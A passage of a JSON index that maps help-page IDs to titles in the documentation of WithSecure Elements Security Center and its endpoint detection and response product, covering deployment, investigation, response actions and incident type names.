"adding_company-latest-en": "Order products for a new customer company", "viewing_subscriptions-latest-en": "View available product subscriptions", "changing_subscription_key-latest-en": "Change the subscription key", "upgrading_options-latest-en": "Upgrading your subscriptions", "upgrade-latest-en": "Upgrading your subscriptions", "about_product_subscriptions-latest-en": "Taking Elements products into use", "sso_considerations-latest-en": "Before implementing single sign-on (SSO)", "federated_sso_prereqs-latest-en": "Prerequisites", "setting_up_federated_single_sign_on-latest-en": "Set up federated single sign-on with Microsoft Entra ID", "linking_user_identities-latest-en": "Link user identities", "removing_federated_domain-latest-en": "Remove federation from a domain", "federated_single_sign_on-latest-en": "Federated single sign-on", "adding_device-latest-en": "Send an installation link via email", "download_software-latest-en": "Download software from Elements Security Center", "manage_automatic_deletion-latest-en": "Manage automatic deletion of devices", "adding_devices-latest-en": "Distributing WithSecure software", "managing_invites-latest-en": "Manage invitations", "add_managing_devices_company-latest-en": "Adding devices for management", "adding_device_labels-latest-en": "Add device labels", "enhancing_device_management_with_custom_labels-latest-en": "Enhancing device management with custom labels", "creating_asset_groups-latest-en": "Create asset groups", "adding_devices_asset_groups-latest-en": "Add devices to asset groups", "managing_asset_groups-latest-en": "Managing asset groups", "managing_devices-latest-en": "Remotely manage a device", "automatically_deleting_computers-latest-en": "Automatically delete devices", "viewing_devices_ad-latest-en": "View devices based on the Active Directory structure", "customizing_devices_view-latest-en": "Customize the Devices view", "request_diagnostics-latest-en": "Request diagnostic data", "manage_devices_in_portal-latest-en": "Managing devices in Elements Security Center", "elements_data_recovery-latest-en": "Elements data recovery", "getting_started-2-latest-en": "Using WithSecure Elements Security Center", "withsecure_elements_help-latest-en": "Introduction to the WithSecure Elements solution", "quick_start_guide_for_edr-latest-en": "Get started with WithSecure Elements Endpoint Detection and Response", "concept_edrkeyfeatures-latest-en": "Key features", "broad_context_detections-latest-en": "Broad Context Detections", "concept_edrintroduction-latest-en": "Elements Endpoint Detection and Response overview", "sysreqs-latest-en": "System requirements", "preinstallation_recommendations-latest-en": "Preinstallation recommendations", "manual_deployment_using_exe-latest-en": "Deploy manually using an EXE file", "concept_zh2_rfh_4bc-latest-en": "MSI properties", "cp_installation_msi-latest-en": "Deploy manually using an MSI file", "inviting_users-latest-en": "Invite users by email", "installation_gpo-latest-en": "Deploy via Active Directory GPO", "installation_using_intune_lob-latest-en": "Deploy using Microsoft Intune as a line-of-business (Windows)", "preparing_intune_installer_package-latest-en": "Prepare the installer package for Intune", "installation_using_intune_winapp-latest-en": "Add the app to Microsoft Intune", "preparing_golden_image-latest-en": "Prepare a golden image", "updating_golden_image-latest-en": "Update a golden image", "sp_golden_image_citrix_creating_server-latest-en": "Deploy a server from the golden image", "setting_profile_for_restored_devices-latest-en": "Set the profile for the restored or newly-deployed devices", "sp_golden_image_citrix-latest-en": "Deployment in persistent mode on Virtual Desktop Infrastructure (VDI) systems", "deployment_windows-latest-en": "Deployment methods for Windows", "autom_installing_cp_mac-latest-en": "Install the product automatically", "activating_subscription_cp_mac-latest-en": "Activate the subscription", "assign_default_profile_cp_mac-latest-en": "Assign a default profile and installation tags", "using_mdm_mac-latest-en": "Use MDM profiles to set up the product", "importing_mdm_profiles_jamf-latest-en": "Create MDM profiles for Jamf management system", "distribution_scenarios_cp_mac-latest-en": "Common distribution scenarios", "sw_signing_cp_mac-latest-en": "Signing and notarizing software on macOS", "cp_automatic_installation_activation_mac-latest-en": "Automatic installation, activation and configuration of the product", "deployment_mac-latest-en": "Deployment methods for Mac devices", "concept_opg_mn3_b1c-latest-en": "Installing the product for use with WithSecure Elements", "task_fqp_l43_b1c-latest-en": "Install the product using a DEB or RPM package", "task_nqm_ms3_b1c-latest-en": "Install the product using a generic installer package", "deployment_linux-latest-en": "Deployment methods for Linux devices", "using_ws_msi_tool-latest-en": "Use the WithSecure MSI transformation tool", "adding_profile_assignment_rules_cp-latest-en": "Add profile assignment rules", "specify_profile_id-latest-en": "Specify profile ID during Elements Agent installation", "assigning_profile_manually-latest-en": "Manually assign a profile", "assign_settings-latest-en": "Assigning settings to clients", "client_reinstallation_no_duplicates-latest-en": "Reinstallation of Elements Agent without duplicating devices", "handling_common_use_cases-latest-en": "Handling common use cases", "deployment-latest-en": "Deploying endpoint sensors on organization devices", "using_event_search-latest-en": "Use Event Search", "using_search_filters-latest-en": "Save your Event Search view", "event_search-latest-en": "Advanced incident investigation with Event Search", "updating_host_importance-latest-en": "Change the importance of monitored hosts", "automatic_device_profiling-latest-en": "Automatic device profiling", "risk_level-latest-en": "Risk level score", "software_view-latest-en": "Investigate software", "evaluating_detections-latest-en": "Investigate Broad Context Detections", "concept_closed_resolutions-latest-en": "Closed resolutions for broad context detections", "concept_qff_xwz_lcc-latest-en": "Analyze a detection with Investigation Assistant", "taking_advanced_responses_into_use-latest-en": "Turn on advanced response actions", "response_retrieve_files-latest-en": "Retrieve files (Win, Lnx, Mac)", "response_retrieve_powershell_history-latest-en": "Retrieve PowerShell history (Win)", "response_retrieve_event_log_entries-latest-en": "Retrieve event log entries (Win)", "response_retrieve_event_log_files-latest-en": "Retrieve event log files (Win)", "response_retrieve_event_log_tracing-latest-en": "Retrieve event log tracing entries (Win)", "response_retrieve_anti_virus_logs-latest-en": "Retrieve anti-virus logs (Win)", "response_retrieve_browser-latest-en": "Retrieve browser artefacts (Win)", "response_retrieve_jumplists-latest-en": "Retrieve jumplist files (Win)", "response_retrieve_mft-latest-en": "Retrieve MFT (Win)", "response_retrieve_rdp_cache-latest-en": "Retrieve RDP cache files (Win)", "response_retrieve_registry_hives-latest-en": "Retrieve registry hives (Win)", "response_retrieve_srum_db-latest-en": "Retrieve System Resource Usage Monitor database (Srumdb) (Win)", "response_map_registry-latest-en": "Map registry (Win)", "response_retrieve_mbr-latest-en": "Retrieve MBR (Win)", "response_retrieve_amcache-latest-en": "Retrieve Amcache (Win)", "response_retrieve_prefetch-latest-en": "Retrieve Prefetch (Win)", "response_retrieve_recent_files-latest-en": "Retrieve Recently Accessed (Win)", "response_map_file_system-latest-en": "Map file system (Win, Lnx, Mac)", "response_netstat-latest-en": "Netstat (Win, Lnx, Mac)", "response_enumerate_processes-latest-en": "Enumerate processes (Win, Lnx, Mac)", "response_enumerate_scheduled_tasks-latest-en": "Enumerate scheduled tasks (Win)", "response_enumerate_services-latest-en": "Enumerate services (Win)", "response_wmi_persistence_enumeration-latest-en": "Enumerate WMI persistence (Win)", "response_process_memory_dump-latest-en": "Process memory dump (Win, Lnx)", "response_full_memory_dump-latest-en": "Full memory dump (Win, Lnx)", "test_documentation-latest-en": "Test connections (Win)", "investigative_jobs-latest-en": "Investigative actions", "response_kill_process-latest-en": "Kill process (Win, Lnx, Mac)", "response_kill_thread-latest-en": "Kill thread (Win)", "containment_jobs-latest-en": "Containment actions", "response_delete_files-latest-en": "Delete files (Win, Lnx, Mac)", "response_delete_registry-latest-en": "Delete registry (Win)", "response_delete_scheduled_tasks-latest-en": "Delete scheduled tasks (Win)", "response_delete_services-latest-en": "Delete services (Win)", "concept_response_remove_permission-latest-en": "Remove permission (Win)", "response_wmi_persistence_removal-latest-en": "Delete WMI persistence (Win)", "remediation_jobs-latest-en": "Remediation actions", "response_action_output_formats-latest-en": "Response action output formats", "responseactions-latest-en": "Create a response action", "automated_response-latest-en": "Automate responses to detections", "task_editing_suppression_rules-latest-en": "Edit suppression rules", "task_suppressing_detections_individually-latest-en": "Suppress detections individually", "concept_suppression_rule_wildcards-latest-en": "Using wildcards in suppression rules", "concept_suppression_rules_list-latest-en": "Viewing suppression rules", "task_suppression_rules-latest-en": "Manage suppression rules", "isolate_single_host-latest-en": "Isolate a single device from the network", "release_host-latest-en": "Release hosts from the isolation", "isolate_host-latest-en": "Isolate hosts from the network", "elevating-latest-en": "Elevate an incident", "elevate_to_fs-latest-en": "Elevating incidents to WithSecure", "elevation_status_bcd-latest-en": "Elevation status of a BCD", "forensics_zip-latest-en": "Forensics package contents", "task_forensics-latest-en": "Collect forensics packages", "auto_false_positive-latest-en": "Automatic false positive closure", "handling_detections-latest-en": "Respond to detections", "alert_types-latest-en": "Events that generate detection alerts", "setting_up_email_alerts-latest-en": "Set up detection alerts", "task_dh5_t1g_g3c-latest-en": "Create customized email reports on security events", "checking_system_status-latest-en": "Check the overall state of monitored organizations", "checking_app_status-latest-en": "Check the status of applications in monitored companies", "usecase_confim_incident-latest-en": "Acknowledge an incident", "usecase_responding_attack-latest-en": "Respond to a targeted attack", "best_practices-2-latest-en": "Best practices", "administering-latest-en": "Investigating detections and responding to incidents", "abnormal_file_accesses-latest-en": "Abnormal file accesses", "abnormal_file_modification-latest-en": "Abnormal file modification", "abnormal_library_or_module-latest-en": "Abnormal library or module", "resp_abnormal_location-latest-en": "Abnormal location", "abnormal_network_connection-latest-en": "Abnormal network connection", "resp_abnormal_parameters-latest-en": "Abnormal parameters", "resp_abnormal_privileges-latest-en": "Abnormal privileges", "abnormal_process-latest-en": "Abnormal process", "abnormal_processes_relation-latest-en": "Abnormal processes relation", "abnormal_process_execution-latest-en": "Abnormal process execution", "abnormal_user_activity-latest-en": "Abnormal user activity", "anomaly-latest-en": "Anomaly", "backdoored_file-latest-en": "Backdoored file", "cc_network_connection-latest-en": "CC network connection", "changing_file_visibility-latest-en": "Changing file visibility", "changing_security_settings-latest-en": "Changing security settings", "changing_user_information-latest-en": "Changing user information", "cloud-latest-en": "Cloud", "compromised_clean_process-latest-en": "Compromised clean process", "creating_attack_tools-latest-en": "Creating attack tools", "credential_theft-latest-en": "Credential theft", "directed_attack-latest-en": "Directed attack", "injection-latest-en": "Injection", "injection_target-latest-en": "Injection target", "lateral_movement-latest-en": "Lateral movement", "lateral_movement_initiator-latest-en": "Lateral movement initiator", "lateral_movement_target-latest-en": "Lateral movement target", "log_anomalies-latest-en": "Log anomalies", "resp_malicious_parameters-latest-en": "Malicious parameters", "malicious_process-latest-en": "Malicious process", "malware-latest-en": "Malware", "persistence-latest-en": "Persistence", "phishing-latest-en": "Phishing", "privilege_escalation-latest-en": "Privilege escalation", "pup-latest-en": "PUP (Potentially Unwanted Programs)", "recon_activities-latest-en": "Recon activities", "scripting_abuse-latest-en": "Scripting abuse", "sensitive_file_modification-latest-en": "Sensitive file modification", "sensor_tamper-latest-en": "Sensor tamper", "spoofing_files-latest-en": "Spoofing files", "spoofing_inputs-latest-en": "Spoofing inputs", "spoofing_memory-latest-en": "Spoofing memory", "spoofing_network-latest-en": "Spoofing network", "spoofing_security_settings-latest-en": "Spoofing security settings", "spoofing_user_information-latest-en": "Spoofing user information", "spoofing_vulnerabilities-latest-en": "Spoofing vulnerabilities", "system_or_tool_misuse-latest-en": "System or tool misuse", "incident_types-latest-en": "Incident types", "simple_test-latest-en": "Run a simple test with Windows system tools", "advanced_test-latest-en": "Run an advanced test with Powershell", "testing-latest-en": "Testing the service", "reporting_false_positives-2-latest-en": "Report false positives", "support-2-latest-en": "Support" } }